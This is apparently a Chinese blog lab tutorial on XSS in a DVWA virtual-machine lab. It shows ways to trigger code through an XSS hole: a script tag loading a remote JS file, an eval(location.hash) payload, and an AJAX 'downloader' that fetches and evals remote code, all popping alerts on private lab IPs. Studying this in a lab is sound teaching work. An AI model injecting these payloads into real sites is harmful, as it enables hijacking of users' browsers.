【XSS漏洞04】XSS漏洞对shellcode的调用方法

0 前言

在上一节我们了解了XSS漏洞验证、语句构造与绕过的方法,在此基础上,当发现漏洞存在时,需要了解存在哪些利用漏洞执行shellcode的方法。

1 实验简介

1.1 实验目的

模拟利用XSS漏洞执行shellcode的几种方法。

1.2 实验环境

  1. 本实验均在虚拟机中进行,桥接到同一局域网中。
  2. 服务器:win2008,部署WAMP环境和DCWA平台,参考文章《WAMP环境+DVWA漏洞测试平台搭建过程》IP地址为192.168.1.7。
  3. 靶机:winxp,IP地址为192.168.1.8。访问服务器的dvwa页面,设置security级别为low,在反射型XSS页面测试以下方法。
    在这里插入图片描述

2 shellcode的调用实验

shellcode就是利用漏洞所执行的代码。完整的XSS攻击会将shellcode存放在一个地方,然后在存在XSS漏洞的地方触发漏洞去调用代码。

2.1 远程调用JS

  1. 简介:可以将JS代码单独存放在一个JS文件中,然后通过http协议远程加载该脚本。
  2. 在win2008虚拟机中,开启phpstudy。在网站根目录下,新建文件命名为xss1.js,输入内容为alert('xss1.js'),保存文件。
    在这里插入图片描述
  3. winxp范围dvwa页面,并在输入框中输入<script src="http://192.168.1.7/xss1.js"></script>,点击submit后弹出窗口,说明xss1.js代码已被执行。
    在这里插入图片描述

2.2 利用Windows.location.hash触发JS

  1. Windows.location.hash简介:该方法会获取URL中#后面的内容,包括#号。
  2. 可以使用JS中的Windows.location.hash方法获取浏览器URL地址栏的XSS代码,也就是说触发时代码存在与URL中。
  3. 在win2008中,访问之前部署好的DVWA环境,登录账号密码,将security级别设置为low。
  4. 构造以下代码传入URL中。?name=<script>eval(location.hash.substr(1))</script>#alert('This is window.location.hash'),回车可以可以看到触发弹窗并执行代码。
    在这里插入图片描述

2.3 利用XSS下载器

  1. 简介:XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得翻页中的XSS代码。
  2. AJAX技术简介:不是新的编程语言,而是一个技术,旨在实现下面几个功能:
    1. 不刷新页面更新网页
    2. 在页面加载后从服务器请求数据
    3. 在页面加载后从服务器接收数据
    4. 在后台向服务器发送数据
    5. 详细请点击《AJAX 简介》查看。
  3. 首先,在win2008网站根目录下先创建一个文件,命名为xss3.php,写入以下内容。由于AJAX技术会受到浏览器同源策略的限制,为解决这个问题,我们需要在服务器端代码中添加header开头的两句话。
<?php
header('Access-Contro-Allow-Origin:*');
header('Access-Contro-Allow-Headers:Origin, X-Requested-With, Content-type,Accept');
?>
~~~BOF|alert(/AJAX/)|EOF~~~

在这里插入图片描述
5. 采用DVWA漏洞所在处进行测试,输入以下代码回车,按理说会弹出窗口,但是实验失败了,暂未发现原因。

<script>
function XSS(){
	if (window.XMLHttpRequest){
		a = new XMLHttpRequest();
	}else if (window.ActiveXObjest){
		a = new ActiveXObjest("Microsoft.XMLHTTP");
	}else {return;}
	a.open('get','http://192.168.1.7/xss3.php',false);
	a.send();
	b=a.responseText;
	eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));	
}
XSS();
</script>

2.4 备选储存技术

shellcode还可以存储在客户端的本地域中,比如HTTP Cookie、Flash 共享对象、UserData、localStorage等。

3 总结

  1. shellcode可以存储在远程文件、URL、HTTP头、其他网页中;
  2. 通过多种方式利用XSS漏铜触发shellcode执行;
  3. 利用XSS下载器与http头信息的方法还需要加强。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值